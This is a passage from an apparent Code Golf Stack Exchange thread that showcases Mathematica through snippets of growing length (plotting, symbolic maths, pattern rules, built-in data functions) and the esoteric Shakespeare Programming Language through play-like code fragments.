here](https://i.stack.imgur.com/KV8g5.png) ### Length 48 snippet ``` Import["http://www.google.com/doodles","Images"] ``` `Import` is a pretty powerful command. It's used both for loading files from disc and from the web. It knows quite a lot of different file formats, and for some of them (like HTML pages) it can actually extract data right away. The above downloads all images from Google's doodle page. ### Length 45 snippet ``` EdgeDetect@ExampleData@{"TestImage","Splash"} ``` Time for some image processing. Mathematica comes with a whole bunch of example data, including images (like Lena), textures, 3D models and audio snippets. First, we load one of those: ![enter image description here](https://i.stack.imgur.com/D2kOl.png) Want to detect edges? It's a single function call: ![enter image description here](https://i.stack.imgur.com/IjPwo.png) ### Length 44 snippet ``` ArrayPlot@CellularAutomaton[110,{{1},0},100] ``` Finally, I've got enough characters to use `CellularAutomaton` and also render the result. :) As far as I'm aware, `CellularAutomaton` is the only function in Mathematica related to CAs. But Stephen Wolfram seems to consider himself number-one guy when it comes to cellular automata, so this function is incredibly powerful. The above shows pretty much its simplest usage. This simulates a 1D cellular automaton for 100 steps - and it will actually return the state of the automaton at each of those steps, so the result is two-dimensional. The rule is the first parameter, which can either be specified in detail via lists, or just encoded in a single number. For this example, I've chosen the rather famous, Turing complete, [Rule 110](http://en.wikipedia.org/wiki/Rule_110). `{{1},0}` defines the initial condition: a single `1` in front of a background of zeroes. Maybe I'll show off some more features of `CellularAutomaton` in the future when I've got more characters available: it can simulate CAs in higher dimensions, using larger neighbourhoods and with more than two states. `ArrayPlot` is another nice plotting utility which just plots a 2D list as a grid of solid colours indicating their value. In the simplest case, `0` is mappend to white and `1` to black. The result of the snippet is: ![enter image description here](https://i.stack.imgur.com/xpRH2.png) ### Length 43 snippet ``` HighlightGraph[graph,FindVertexCover@graph] ``` It's been a while since I mentioned graphs. There a lot of common graph theoretical problems built-in Mathematica, along with nice visualisation tools. The above, for a given `graph`, will find a minimal vertex cover of the graph, and then render the graph with those vertices highlighed. E.g. if `graph` is `PetersenGraph[7,2]` back from snippet 18, we get: ![enter image description here](https://i.stack.imgur.com/eF7eo.png) ### Length 42 snippet ``` Animate[Plot[Sin[t-x],{x,0,10}], {t,0,10}] ``` It's pretty simple to animate things in Mathematica (and they don't even have to be images). You just give it the expression to be evaluated for each frame and a bunch of parameters that should vary over the frames. The above simply animates a plot of a moving sine wave. The animation will look something like the following GIF: ![enter image description here](https://i.stack.imgur.com/EOPuu.gif) ### Length 40 snippet ``` SortBy[PlanetData[#, "EscapeVelocity"]&] ``` `SortBy` does what you expect: it sorts a list based on values obtained by mapping a given function onto each list element. But wait, the above call doesn't contain a list at all. Since Mathematica 10, there is support for *currying* or *partial application* for some functions. This is not a language feature like in the more purist functional languages, but is just implemented manually for a whole bunch of functions where this is often useful. It means that the above snippet returns a new function, which *only* takes a list and then sorts by the given function. This can be very useful if this sorting order is something you'll use more often throughout your code. And yes, there's another nice `*Data` function - the above will sort planet names by the planets' [escape velocities](http://en.wikipedia.org/wiki/Escape_velocity). ### Length 39 snippet ``` f[1]=1 f[2]=1 f[n_]:=f[n]=f[n-1]+f[n-2] ``` I promised to make the Fibonacci function more efficient. This snippet shows how trivial memoisation is in Mathematica. Note that all that's changed is an additional `f[n]=` in the third line. So when `f` is called for a new value (say `f[3]`), then `f[3]=f[3-1]+f[3-2]` will be evaluated. This computes `f[2]+f[1]`, then assigns it to `f[3]` (with `=`, not with `:=`!), and ultimately returns the value for our initial call. So calling this function adds a new definition for this value, which is obviously more specific than the general rule - and hence will be used for all future calls to `f` with that value. Remember that the other Fibonacci function took 4 seconds for 30 values? This needs 3 seconds for 300,000 values. ### Length 37 snippet ``` l//.{a___,x_,b___,x_,c___}:>{a,x,b,c} ``` In the last snippet I mentioned patterns. These are most often used in *rules*, which (among other things) can be used to modify structures which match a certain pattern. So let's look at this snippet. `{a___,x_,b___,x_,c___}:>{a,x,b,c}` is a rule. `x_` with a single underscore is a pattern which refers to a single arbitrary value (which could itself be a list or similar). `a___` is a *sequence* pattern (see also snippet 15), which refers to a sequence of 0 or more values. Note that I'm using `x_` twice, which means that those two parts of the list have to be the same value. So this pattern matches any list which contains a value twice, calls that element `x` and calls the three sequences around those two elements `a`, `b` and `c`. This is replaced by `{a,x,b,c}` - that is the second `x` is dropped. Now `//.` will apply a rule until the pattern does not match any more. So the above snippet removes all duplicates from a list `l`. However, it's a bit more powerful than that: `//.` applies the rule at all levels. So if `l` itself contains lists (to any depth), duplicates from those sublists will also be removed. ### Length 36 snippet ``` f[1]=1 f[2]=1 f[n_]:=f[n-1] + f[n-2] ``` Time for new language features! Mathematica has a few nice things about defining functions. For a start, you can supply multiple function definitions for the same name, for different numbers or types of arguments. You can use *patterns* to describe which sorts of arguments a definition applies to. Furthermore, you can even add definitions for single values. Mathematica will then pick the most specific applicable definition for any function call, and leave undefined calls unevaluated. This allows (among other things) to write recursive functions in a much more natural way than using an `If` switch for the base case. Another thing to note about the above snippet is that I'm using both `=` and `:=`. The difference is that the right-hand side of `=` is evaluated only once, at the time of the definition, whereas `:=` is re-evaluated each time the left-hand side is referred to. In fact `:=` even works when assigning variables, which will then have a dynamic value. So the above, of course, is just a Fibonacci function. And a very inefficient one at that. Computing the first 30 numbers takes some 4 seconds on my machine. We'll see shortly how we can improve the performance without even having to get rid of the recursive definition. ### Length 35 snippet ``` StreamPlot[{x^2,y},{x,0,3},{y,0,3}] ``` A very neat plot, which outputs the streamlines of a 2D vector field. This is similar to a normal vector plot, in that each arrow is tangent to the vector field. However, the arrows aren't placed on a fix grid but joined up into lines (the streamlines). The significance of these lines is that they indicate the trajectory of a particle (in a fluid, say) if the vector field was a velocity field. The above input looks like: ![enter image description here](https://i.stack.imgur.com/RsPBo.png) ### Length 34 snippet ``` Solve[a*x^4+b*x^3+c*x^2+d*x==0, x] ``` Mathematica can also solve equations (or systems of equations, but we've only got so many characters right now). The result will, as usual, be symbolic. ``` { {x -> 0}, {x -> -(b/(3 a)) - (2^(1/3) (-b^2 + 3 a c))/(3 a (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3)) + (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3)/(3 2^(1/3) a)}, {x -> -(b/(3 a)) + ((1 + I Sqrt[3]) (-b^2 + 3 a c))/(3 2^(2/3) a (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3)) - ((1 - I Sqrt[3]) (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3))/(6 2^(1/3) a)}, {x -> -(b/(3 a)) + ((1 - I Sqrt[3]) (-b^2 + 3 a c))/(3 2^(2/3) a (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3)) - ((1 + I Sqrt[3]) (-2 b^3 + 9 a b c - 27 a^2 d + Sqrt[4 (-b^2 + 3 a c)^3 + (-2 b^3 + 9 a b c - 27 a^2 d)^2])^(1/3))/( 6 2^(1/3) a)} } ``` Note that the solutions are given as *rules*, which I'll probably show in more detail in some future snippet. ### Length 33 snippet ``` Dynamic@EdgeDetect@CurrentImage[] ``` Thanks to benwaffle for this idea. `CurrentImage[]` loads the current image of your webcam. `EdgeDetect` turns an image into a black-and-white image where edges are white and the rest is black (see snippet 45 for an example). The real fun comes with `Dynamic` which makes the expression update itself. So the result of this will actually stream pictures from your webcam and do live edge detection on them. ### Length 32 snippet ``` NumberLinePlot[x^2<2^x,{x,-2,5}] ``` A rather unusual type of plot. It can plot a bunch of different things along the number line, like points and intervals. You can also give it condition, and it will show you the region where that condition is true: ![enter image description here](https://i.stack.imgur.com/9Bi4c.png) The arrow indicates that the region continues to infinity. The white circles indicate that those are open intervals (the end points are not part of the interval). For closed ends, the circles would be filled. ### Length 28 snippet ``` Graphics3D@{Sphere[],Cone[]} ``` Time for some 3D graphics. The above renders a super-imposed sphere and cone with default parameters, which looks something like crystal ball: ![enter image description here](https://i.stack.imgur.com/gdB8s.png) In Mathematica, you can actually click and drag this little widget to rotate it. ### Length 27 snippet ``` CountryData["ITA", "Shape"] ``` More `*Data`! `CountryData` is pretty crazy. Getting the shape of a country is not even the tip of the iceberg. There is so much data about countries, you could probably write an entire book about this function. Like... there is `FemaleLiteracyFraction`. You can also query that data for different points in time. [For a full list, see the reference.](http://reference.wolfram.com/language/ref/CountryData.html) ![enter image description here](https://i.stack.imgur.com/y7uSQ.png) ### Length 26 snippet ``` PolarPlot[Sin[5Œ∏],{Œ∏,0,œÄ}] ``` Time for a more interesting plot. `PolarPlot` is simply a plot in polar coordinates. Instead of specifying y for a given x, you specify a radius r for a given angle Œ∏: ![enter image description here](https://i.stack.imgur.com/K3doR.png) ### Length 25 snippet ``` {{1,5},{2,3},{7,4}}.{8,9} ``` We've finally got enough characters for some vector maths. The above computes the matrix multiplication of a 2x3 matrix and row 2-vector: ``` {53, 43, 92} ``` ### Length 23 snippet ``` Rotate[Rectangle, Pi/2] ``` Heh. Hehe. You think you know what this does. But you don't. `Rectangle` by itself is just a named function. To actually get an object representing a rectangle, you'd need to call that function with some parameters. So what do you think happens, when you try to rotate `Rectangle`? This: ![enter image description here](https://i.stack.imgur.com/T7qLM.png) ### Length 22 snippet ``` 30~ElementData~"Color" ``` Another of the built-in `*Data` functions. Yes, for chemical elements, you don't just get things like their atomic number, melting point and name... you can actually get their colour at room temperature. The above gives the colour of Zinc: ``` SlateGray ``` ### Length 21 snippet ``` Integrate[E^(-x^2),x] ``` We had differentiation some time ago. Time for integration. Mathematica can handle both definite and indefinite integrals. In particular, `Integrate` will give you an exact solution, and it can deal with a ton of standard integrals and integration techniques (for numerical results, there's `NIntegrate`). If you know your calculus, you'll have noticed that the above Gaussian integral doesn't actually have a closed form indefinite integral... unless you consider the [error function](http://en.wikipedia.org/wiki/Error_function) closed form, that is. Mathematica returns: ``` 1/2 Sqrt[œÄ] Erf[x] ``` ### Length 20 snippet ``` "Sun"~StarData~"Age" ``` Back to built-in *data*. There must be at least two dozen `*Data` functions for everything you could possibly think of. Each of them takes an identifier for the thing you want the data for, and a property (or list of properties) to retrieve. The above is just one of the shortest you can get with `Sun`, `Star` and `Age` all being pretty short, because I couldn't wait to show this feature. Oh yeah, and did I mention that Mathematica (since 9) supports quantities with units? (More on that later.) The above evaluates to: ``` Quantity[4.57*10^9, "Years"] ``` which is displayed as ![enter image description here](https://i.stack.imgur.com/WoqNQ.png) ### Length 19 snippet ``` MandelbrotSetPlot[] ``` Yeah... very useful function... I use it *all* the time. (Sometimes, their desire to support anything that's possibly computable might go a bit far...) ![Mathematica graphics](https://i.stack.imgur.com/eqpRo.png) In their defence, the function is a bit more useful than that: you can give it a particular section of the graph you want to plot. ### Length 18 snippet ``` PetersenGraph[7,2] ``` Since Mathematica 8, it understands what graph are, so it comes with all sorts of graph-theory related functions. And it wasn't Mathematica if it wouldn't include a ton of built-ins. The above generates the graph data for a generalised [Petersen graph](http://en.wikipedia.org/wiki/Petersen_graph). It does produce the actual data structure that can be manipulated, but Mathematica immediately displays that graph data ... graphically: ![Mathematica graphics](https://i.stack.imgur.com/bjdhh.png) ### Length 17 snippet ``` Plot[x^x,{x,0,2}] ``` Finally enough characters to do some plotting. The above is really just the simplest example of a one-dimensional plot. I promise to show off cooler plots later on ![Mathematica graphics](https://i.stack.imgur.com/hncLW.png) ### Length 15 snippet ``` {##4,#,#2,#3}& ``` This shows two of the more powerful features (and also useful ones for golfing). The entire thing is an unnamed *pure function*, comparable with `lambda`s in Python, or Procs in Ruby. Pure function are simply terminated by a `&`. This operator has very low precedence, so that it usually includes almost everything left of it. The arguments of a pure function are referred to with `#`, sometimes followed by other things. The first argument is `#` or `#1`, the second is `#2`, and so on. The other feature is `Sequence`s. These are basically like splats in other languages. A sequence is like list without the list around it - it's literally just a sequence of values, which can be used in lists, function arguments etc. `##` in particular is a sequence of all pure-function arguments. `##2` is a sequence of all arguments starting from the second. So if we named the above function `f`, and called it like ``` f[1,2,3,4,5] ``` We would get ``` {4,5,1,2,3} ``` so the function rotates the input arguments 3 elements to the left. Note that `##4` referred to `4,5` which were flattened into the list. ### Length 12 snippet ``` D[x^y^x,x,y] ``` Partial differentiation. `D` will differentiate the first expression successively with respect to its other arguments, giving you a symbolic expression as the result. So the above is *d¬≤(x^y^x)/dxdy* (where the *d*s are partial), which Mathematica reports to be ``` x^y^x (y^(-1 + x) + y^(-1 + x) Log[x] + x y^(-1 + x) Log[x] Log[y]) + x^(1 + y^x) y^(-1 + x) Log[x] (y^x/x + y^x Log[x] Log[y]) ``` ### Length 9 snippet ``` Exp[I*Pi] ``` We haven't done any complex arithmetic yet! As you can see, `œÄ` was actually just an alias for `Pi`. Anyway, the above will actually correctly return the *integer* `-1`. ### Length 8 snippet ``` Sunset[] ``` Yeah. Talk about crazy built-ins. Without parameters that actually gives you a datetime object of the next sunset at your current location. It also takes parameters for other dates, other locations etc. Here is what it looks like for me right now: ![enter image description here](https://i.stack.imgur.com/qGMge.png) ### Length 7 snippet ``` 9!/43!! ``` This snippet shows off a few cool things. Mathematica doesn't just have a built-in factorial operator `!`, it also has a double factorial `!!` (which multiplies every other number from `n` down to `1`). Furthermore, it supports arbitrary-precision integers. The `43!!` will be evaluated exactly, down to the last digit. Furthermore, rational numbers will also be evaluated exactly. So, since both numerator and denominator in there are integers, Mathematica will reduce the fractions as far as possible and then present you with ``` 128/198893132162463319205625 ``` Of course, you can use floats whenever you want, but in general, if your input doesn't contain floats, your result will be exact. ### Length 4 snippet ``` Here ``` It's about time we started with Mathematica's wealth of crazy built-ins. The above does what it says on the tin and (for me) evaluates to `GeoPosition[{51.51, -0.09}]`. ### Length 3 snippet ``` x-x ``` Just to showcase the original *Factoid*: the above works even if `x` is not defined yet and will actually result in `0` in that case. ### Length 2 snippet ``` 3x ``` Multiplication via juxtaposition! If it's clear that an identifier ends and another begins, you don't need a `*` or even whitespace to multiply them together. This works with pretty much everything, including strings and variables that don't have values yet. Very convenient for golfing. ;) ### Length 1 snippet ``` œÄ ``` Guess what, it's Pi. And in fact, it's not some approximate floating-point representation, it's Pi exactly - so all sorts of complex and trigonometric functions this is used in will yield exact results if they are known. ### Factoid Mathematica can perform symbolic manipulation, so variables don't need values to work with them. [Answer] # The Infamous [Shakespeare Programming Language](http://esolangs.org/wiki/Shakespeare) Shakespeare Programming Language was created in 2001 by two Swedish students, Karl Hasselstr√∂m and Jon √Öslund, and it combines, as the [authors proclaim](http://shakespearelang.sourceforge.net/report/shakespeare/#SECTION00030000000000000000), > > the expressiveness of BASIC with the user-friendliness of assembly language. > > > Answers go from top to bottom. Also, it's common to see me refer to older or previous snippets. ([link for myself: edit](https://codegolf.stackexchange.com/posts/44766/edit)) **Factoid:** Shakespeare's code resembles, as one would expect, a Shakespeare play, where the variables are characters on the play and their value changes as they are "insulted" or praised". **Length 1 snippet:** ``` I ``` Shakespeare's code is divided in Acts, and the acts are themselves divided in Scenes, for "jump-to" causalities. Defining an Act as `Act I` means that it will be the first piece of the code to be run, per example - but not only. **Length 2 snippet:** ``` as ``` Used in a comparative between two "characters". **Length 3 snippet:** ``` day ``` By now, you may be getting the feeling that SPL is very verbose. And weird. And you've seen nothing yet. `day`, in SPL, is 1. All "positive" and "neutral" nouns are considered as `1`, as well as all "negative" ones are `-1`. **Length 4 snippet:** ``` rich ``` What is `rich`? An adjective. In SPL, adjectives make the value of the noun they're attached to multiply by two. See implementation on snippet 14. **Length 5 snippet:** ``` Act I ``` Implementation of the first snippet. All acts may be given a title, such as `Act I: Hamlet must die!`, since everything after the Roman numeral is ignored by the parser. **Length 6 snippet:** ``` better ``` Every language has conditions, and SPL is no exception. Except, since this is a language with a lengthy syntax (and did I mentioned it to be weird?), its conditional statements are going to be long. Having Ophelia ask Juliet `Am I better than you?` is like having `if (Ophelia > Juliet)` on most "normal" languages. And, of course, you can ask the other way around: `Am I not better than you?` is the equivalent of `if (Ophelia < Juliet)`. And you can already guess how the `=` is translated to SPL: `as good as` - usage of code snippet 2. However, `good/better` is not the only way to make comparisons in this shakesperian language, you can use any adjective. The same principle of snippet 3 applies here as well, with "positive" adjectives having the value `>`, while "negative" ones mean `<`. **Length 7 snippet:** ``` Juliet: ``` This is the invocation of a variable; after this, his/her instructions/declarations/whatever will follow. A limitation of SPL is that it has a limited number of variables: Romeo, Juliet, Hamlet, Ophelia, MacBeth and so on are a few examples of "characters" that will appear on a Shakesperian program. **Length 8 snippet:** ``` [Exeunt] ``` `[Exeunt]` is placed when all "characters" leave the "stage". Hopefully I can elaborate a bit more later on about the interaction between characters. Generally is the last instruction of any SPL program, although `[Exeunt]` isn't specifically the terminal "character" of the language. For another example, see snippet 27. **Length 9 snippet:** ``` as bad as ``` Nine characters just to represent a mere `=` - using snippet 2. Have I mentioned that SPL is weird? See snippet 30 for examples. (and yes, there's more than one way to output it) **Length 10 snippet:** ``` difference ``` A fancy way of representing `-`, a subtraction. You can have math operations on SPL, even though you'll probably need a full day to get it right. **Factoid** *(since I managed somehow to reach ten snippets of code, let's take a bit of a break and have another factoid about SPL)* If you want to run your shakesperian code in all its glory, there's [this site](https://shakespearelang.org/) - I'm still testing it, since I discovered it not even five minutes ago. There's also a way to translate it to C using [a translator](http://shakespearelang.sourceforge.net/report/shakespeare/#SECTION00070000000000000000). Another site for running SPL code is [this one](https://apex.oracle.com/pls/apex/f?p=SPL) that works by internally translating the SPL code to another esoteric language: Oracle PL/SQL. **Length 11 snippet:** ``` [Exit Romeo] ``` Yes! At last I can talk about the interaction between characters! In order to have its value changed or to interact with others, a "character" must be on stage - entering with `[Enter Romeo]`. If a character is addressed to but is not present, there's a runtime error and the program stops. Because, in SPL, the value of the variables is set by the amount of names they're praised with - or insulted with - by the other characters on stage. I feel that I should put an example to clear some confusion my lame explanation may create, but perhaps it's best to delay that a few snippets. **Length 12 snippet:** ``` Remember me. ``` SPL is pretty "basic", alright - but it has stacks! When, per instance, Romeo tells Juliet to "remember him", he's actually telling his loved one to push the Romeo's value into her stack. Popping the value is done with `Recall your happy childhood!`, or `Recall your love for me`, or basically any sentence that begins with `Recall` - the rest is just artistic drivel, like snippet 22. **Length 13 snippet** ``` Let us return ``` The Shakesperian way of having a `goto`. And this is where the Acts and Scenes come in handy. If Romeo tells Juliet `we shall return to Act II` (yes, again, there are multiple ways of write it), the program will jump to that specific part of the code. It's also seen alongside conditional statements. **Length 14 snippet** ``` my little pony ``` Yes, it was a series back in the 80s. Here, it's `2*1`. Why? Because a `pony` is a (somewhat) positive noun and `little` is an adjective. So, remembering snippets 3 and 4, we have `little = "2 *"` and `pony = "1"`. **Length 15 snippet** ``` Speak thy mind! ``` In a SPL program, you'll see this (or `Speak your mind!`, which is the same) *a lot*. This basically outputs the value of each "character" in digit, letter or anything else, depending on the character set being used by your computer. There's also `Open your mind.` that does almost the same thing, albeit only outputting in numeric form. **Length 16 snippet** ``` You are nothing! ``` When someone tells you this in real life, you'll feel depressed. When Ophelia tells this to Hamlet in Shakespearian programming, Hamlet feels worthless. What does this mean? That `Hamlet = 0`. **Length 17 snippet** ``` Ophelia, a wench. ``` In a screenplay, before the actual play starts, the characters must be presented. In most programming languages, the variables must also be declared before use. Seeing that SPL is a programming language that resembles a screenplay, this is how you declare its variables, by stating which are the ones appearing during the program. But what does "a wench" mean? Does it mean that it's a specific (and cool) data type name? Well... I hate to disappoint you, but it means nothing: everything after the comma is disregarded by the parser, meaning you can put there the most outrageous drivel you can think of. **Length 18 snippet** ``` lying sorry coward ``` `-4` for all earthly creatures. Why? Because `2*2*(-1) = -4`. **Length 19 snippet** ``` Romeo: Remember me. ``` At last!!! I can finally output a full correct syntax instruction (albeit a short one)! This is how you use snippet 12: firstly you declare who's talking, then on the next line you write the "dialogue". Normally, only two "characters" are on stage, to avoid making the parser sad and confused. When you need another "character", you take one from the stage and replace him by the new one. **Length 20 snippet** ``` cube of thy codpiece ``` I wanted to elaborate a bit more for this one, but, truth be told, the things I come up with are still too short for this snippet length. And, so, I bring you this, which ends up being `-1` - because (-1)3 = -1 (and `codpiece` is a "negative" noun, since they're uncomfortable and all). SPL understands a few more elaborate arithmetic operations as *some* exponentiation and square roots. **Factoid** *(yet another one, since we've reached another milestone)* The "Hello World Program" in Shakesperian has 89 lines and more than 2400 characters long, [as seen here](http://shakespearelang.sourceforge.net/report/shakespeare/#SECTION00091000000000000000). **Length 21 snippet** ``` Listen to your heart. ``` In snippet 15 you outputted something; here, you input a number to the program. If you want to input a character, you'll use `Open your mind.` instead. And, needless to say, this value will be stored in the "character" being spoken to. **Length 22 snippet** ``` Recall your childhood! ``` Popping an integer from a stack is done with this, as explained on snippet 12. When, per instance, Ophelia tells Hamlet the aforementioned sentence, it causes Hamlet to take an integer from his stack and assume that value. Of course that, as long as the word `recall` is starting the sentence, you can fill in the rest with pretty much anything your creative shakesperian mind desires. **Length 23 snippet** ``` Are you better than me? ``` Implementation of snippet 6. When a "character" makes a question like this to another, what he/she is doing is equivalent to `if (x > y)` on more common programming languages. The follow-up of this instruction must be delayed until I have more characters available. **Length 24 snippet** ``` [Enter Romeo and Juliet] ``` Yes, "characters" may enter in pairs. It's not required to have one "character" entering the stage, being followed by another. **Length 25 snippet** ``` remainder of the quotient ``` 25 characters just to write a `%`. 25 characters to have the remainder of a division. And to use it? Well, that's even bigger - see snippet 75. **Length 26 snippet** ``` Let us return to scene II. ``` Here it is, a `goto` in SPL, which works as one would expect in a programming language. A thing is: you can jump between scenes in the same act, and between acts; but you cannot jump between scenes in different acts. **Length 27 snippet** ``` [Exeunt Ophelia and Hamlet] ``` When more than one "character" leave the stage, instead of `Exit`, and keeping in tradition with SPL's theatrical nature, the latin word "Exeunt" is used. Sometimes it can be replaced just by snippet 8. **Length 28 snippet** ``` Scene I: Ophelia's flattery. ``` Declaring a Scene. As you can already expect if you've been coping with me, the important bit is the `Scene I`, the rest is artistic fluff. There have been some compilers made (like [this one that compiles from SPL to C, written in Python](https://github.com/drsam94/Spl)) that instead refer to the text after the numbering of the Act/Scene. While more logical (after all, during a play, having the characters saying lines such as "let us return to Act I" may be deemed silly), I'm sticking to the original way. **Length 29 snippet** ``` You pretty little warm thing! ``` Yes, yet another constant (since we need *way more* characters to have arithmetic operations). This one is equal to `8`, because `2*2*2*1 = 8`. **Length 30 snippet** ``` You are as cowardly as Hamlet! ``` Saying this to, per instance, Romeo, means that `Romeo = Hamlet`. Like snippet 9. **Factoid** *(yes, another landmark reached!)* This language was created for an assignment in a Syntax Analysis course - thus, no SPL compiler was created by the authors. More: it seems SPL's authors have severed their ties with their creation, since nothing appears to have been modified in the language since 2001... **Length 31 snippet** ``` Am I as horrid as a flirt-gill? ``` Yes, I know, it's somewhat repeating snippet 23, although, here, we're comparing the "character" who speaks with a "flirt-gill" (of, if you prefer, `if (Ophelia == -1)`). The thing is... **Length 32 snippet** ``` If so, let us return to scene I. ``` ... now I can introduce the `then` of SPL, and the conditional jump-to, and the Shakesperian way of implementing loops. You can, per instance, make Romeo assume the value `0`, increment his value while doing some other task and stop when he reaches 10, proceeding with the program afterwards. **Length 33 snippet** ``` If not, let us return to scene I. ``` Just a reminder that, instead, we can instead proceed forward to another scene if the condition we tested for *is false*. **Length 34 snippet** ``` Open your mind! Remember yourself. ``` Two instructions in a row, yippie! The first one reads a character, the second one pushes it into the other character's memory stack. **Length 35 snippet** ``` Act I: Death! Scene I: Oh, shit. ``` The proper way of declaring an Act and a Scene. Add artistic mush tastefully. **Length 36 snippet** ``` Thou art as sweet as a summer's day! ``` Another way of saying that the "character" being spoken to will receive the value `1` - because summer's days are nice and pleasant. **Length 37 snippet** ``` Art thou more cunning than the Ghost? ``` Ophelia asking this question to Hamlet means, translating this to a less readable programming language, `if (Hamlet > the Ghost)`. It's snippet 23 all over again, yeah - but it goes to show you that it's not required to ask the "characters" if they are better than each other: any other question will work too. **Length 38 snippet** ``` [Enter the Ghost, Romeo and the Ghost] ``` Yes, I'm calling a "character" twice - because I wanted to have the program give me an error. Calling a "character" that's already on stage, or telling one that's absent to exit, will cause great grief to the parser/compiler. **Length 39 snippet** ``` the sum of a fat lazy pig and yourself! ``` The full instruction is more better looking that this, I'll give you that, but... here's our first arithmetic operation! What does it all mean, actually? Well, `pig` is a dirty animal (albeit tasty), so it's equivalent to `-1`, has two adjectives, meaning `fat lazy pig` equals `2*2*(-1) = -4`. But what about `yourself`? It's a reflexive pronoum, not a name nor an adjective. Well, remember that SPL is based on dialogues between "characters"; thus, `yourself` refers to the other "character" on stage. So, we arrive at the end and we discover that "the sum of a fat lazy pig and yourself" is, in fact, `-4 + x`. **Length 40 snippet** ``` the sum of a squirrel and a white horse. ``` Yes, another sum, but this one is simpler than snippet 39. This is merely `1 + 2` - `3`, if my math is correct. **Factoid** *(still with me after these forty snippets of artistic fluff? You deserve a prize.)* SPL, in its version 1.2.1, can be downloaded [here](http://shakespearelang.sf.net/download/spl-1.2.1.tar.gz). **Length 41 snippet** ``` Juliet: Speak thy mind! [Exit Romeo] ``` Sometimes, "characters" are only called on stage to have their value changed - which, on a real play, would be something quite bizarre. Anyway, here, Juliet makes her beloved Romeo print his stored value, after which he exits the stage. **Length 42 snippet** ``` Speak YOUR mind! You are as bad as Hamlet! ``` Again two instructions in one line (we can have multiple, but the snippet length doesn't allow it yet); here we have a "character" telling another to output its value and assume whichever value Hamlet has. Confusing? Mayhap. **Length 43 snippet** ``` Am I as horrid as a half-witted flirt-gill? ``` Juliet asking this doesn't mean she has low-esteem (although it might in real-life); it's simply another `if`, like snippets 23 and 37. Oh, I almost forgot: this translates to `if (Juliet == -2)`. **Length 44 snippet** ``` You are as evil as the square root of Romeo! ``` Yes, square roots are evil, didn't you know? Anyway, this instruction is straightforward enough to understand what it does: attributes the "character" being spoken to the value of the square root of the value stored in Romeo. **Length 45 snippet** ``` Hamlet: Art thou more cunning than the Ghost? ``` Snippet 37 properly written with the character who's speaking the line. **Length 46 snippet** ``` the product of a rural town and my rich purse. ``` Okay... anyway, SPL may be the only language in the world that allows you to multiply towns with purses. This means `(2*1)*(2*1)` which, if I'm not very mistaken, is equal to `4`. **Length 47 snippet** ``` Romeo: Speak your mind. Juliet: Speak YOUR mind! ``` I'll give you that: it may be one of the most bizarre dialogues in history. But it's what you get when you choose a weird language to showcase. Romeo and Juliet are telling each other, in short, to output their values. **Length 48 snippet** ``` You lying fatherless useless half-witted coward! ``` Translating it directly, `2*2*2*2*(-1)`. `-16`, right? **Length 49 snippet** ``` Scene V: Closure. Hamlet: Speak your mind! [Exeunt] ``` An example of how to terminate a program in SPL. You can declare a scene specifically for it (although it's not required), then Hamlet asks another "character" to output their value, then they all exit the stage. And yes, it's required for all of them to get off the stage. **Length 50 snippet** ``` Othello, a young squire. Lady Macbeth, an old fart. ``` More "character" presentation, before the proper instructions. As always, the only thing that matters to the compiler is `Othello` and `Lady Macbeth`, so the rest of the line is up for grabs... One more thing: the "characters" don't have to be related to each other in order to appear in a SPL program - so you can have Romeo, Othello and Hamlet on the same play. **Factoid** *(half-a-century of these things? Phew! After this I think I'm going to loathe William Shakespeare...)* The SPL to C translator, mentioned a while ago and developed by the SPL creators, was based on [Flex](http://flex.sourceforge.net/) and [Bison](http://www.gnu.org/software/bison/). **Length 51 snippet** ``` Othello: Recall your great dreams. Speak your mind! ``` *(So sick of Romeo, Juliet and Hamlet... let's bring in Othello, for a change!)* `Recall`, as you can guess, is the key here. The "character" Othello is addressing will take a value from his/her stack, assume that value and, afterwards, will output it. **Length 52 snippet** ``` Thou art as pretty as the sum of thyself and my dog! ``` Another sum. Yawn. Assuming this one is addressed to Hamlet, means that `Hamlet = Hamlet + 1`. Or `Hamlet += 1`. Or `Hamlet++`. **Length 53 snippet** ``` Romeo: You are as vile as the sum of me and yourself! ``` Ah, yes, something I forgot to mention before: the speaking "characters" can mention themselves on their own lines. **Length 54 snippet** ``` Juliet: Is the sum of Romeo and me as good as nothing? ``` Another example of the previous snippet, included in a condition. So what we have here is `if (Romeo + Juliet == 0)`. **Length 55 snippet** ``` Juliet: You are as lovely as the sweetest reddest rose. ``` So, here, Juliet is praising the "character" she's speaking to (let's assume it's Romeo, for Shakespeare's sake), declaring that he/she is 4. Yes, another assignation of values. **Length 56 snippet** ``` Othello: You lying fatherless useless half-witted coward! ``` Snippet 48 properly done, with a "character". If you're too lazy to scroll up (like I'd be), this means the one being insulted is receiving the value -16. **Length 57 snippet** ``` Romeo: If not, let us return to Act I. Recall thy riches! ``` I've already explained how conditions work on SPL on a general basis; however, a more inline analysis is needed. We don't have `else` in here: per instance, in this example, if the condition failed, the program would return to Act I; but if it were true, it would continue to the next instruction, which is a `Recall` - a pop from the stack, that is. **Length 58 snippet** ``` Romeo: You are as disgusting as the square root of Juliet! ``` Grabbing snippet 44 and presenting how the instruction should be presented. If this was a dialogue between Romeo and Othello, then we could translate this to Java as `Othello = Math.sqrt(Juliet)`. **Length 59 snippet** ``` Othello: You are as vile as the sum of yourself and a toad! ``` OK, if Othello is talking to Romeo, this would be equivalent to `Romeo+(-1)`; `Romeo--`, for short. Pretty basic, right? That's SPL for you. **Length 60 snippet** ``` Is the quotient between the Ghost and me as good as nothing? ``` For short, `if (The Ghost/Hamlet == 0)`, assuming the "me" belongs to Hamlet. **Length 61 snippet** ``` Thou art as handsome as the sum of yourself and my chihuahua! ``` Once you peel away the layers and layers of words and insults, you notice that SPL is pretty much a basic thing, without cool functions and stuff. So we have loads and loads of arithmetic functions on the program's body. So, if this one 